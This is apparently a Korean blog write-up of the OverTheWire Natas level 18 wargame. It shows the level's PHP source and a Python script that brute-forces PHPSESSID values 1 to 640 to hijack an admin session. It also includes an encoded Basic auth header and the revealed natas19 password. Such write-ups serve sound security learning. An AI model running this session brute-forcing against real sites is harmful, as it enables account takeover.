다음은 natas18의 페이지 초기화면이다.
View sourcecode를 통해 코드를 확인해주었다.
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>admin의 세션값을 알아내야 한다.
세션은 1~640 중 하나이다.
index.php의 정보들을 이용하여 자동화 스크립트를 작성한다.
import socket
for i in range(1, 641):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("13.49.7.247", 80))
header = "GET /index.php HTTP/1.1\r\n"
header += "Host:natas18.natas.labs.overthewire.org\r\n"
header += "Authorization: Basic bmF0YXMxODo4TkVEVVV4ZzhrRmdQVjg0dUx3dlprR242b2tKUTZhcQ==\r\n"
header += "Cookie:PHPSESSID=" + str(i) + "\r\n"
header += "\r\n"
response = " "
sock.send(header.encode())
response = sock.recv(65535)
response = response.decode()
if "You are an admin" in response:
print(response)
break
sock.close()
print()참고 : pd6156.tistory.com
그리고 아래와 같이 natas19의 비밀번호를 알아낼 수 있다.
|8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
'Web Hacking > Natas' 카테고리의 다른 글
| [Natas] Level 19 > Level 20 (0) | 2022.10.02 |
|---|---|
| [Natas] Level 18 > Level 19 (0) | 2022.09.24 |
| [Natas] Level 16 > Level 17 (0) | 2022.09.11 |
| [Natas] Level 15 > Level 16 (0) | 2022.06.25 |
| [Natas] Level 14 > Level 15 (0) | 2022.06.25 |